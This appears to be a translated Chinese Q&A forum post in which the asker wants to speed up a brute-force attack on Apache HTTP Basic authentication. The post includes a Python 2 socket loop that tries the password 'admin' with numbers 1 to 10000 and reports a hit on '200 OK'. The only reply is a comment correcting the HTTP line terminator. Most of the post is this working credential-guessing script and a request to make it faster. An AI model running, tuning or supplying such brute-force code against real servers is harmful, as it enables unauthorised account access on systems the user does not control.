1
我希望對Apache授權使用快速蠻力測試,而不使用urllib或套接字lib編碼。但是,connect()是一個非常緩慢的任務(400/m)。如何在重複使用connect()時提高效率?
如何在重複使用connect()函數 (沒有多進程方法;僅在代碼級別)時提高效率?
for num in xrange(1,10000):
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip,port))
s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
if '200 OK' in(s.recv(32)) :
print 'got password !',str(num)
s.close()
在HTTP的行終止符\ r \ N,不是n \。 – EJP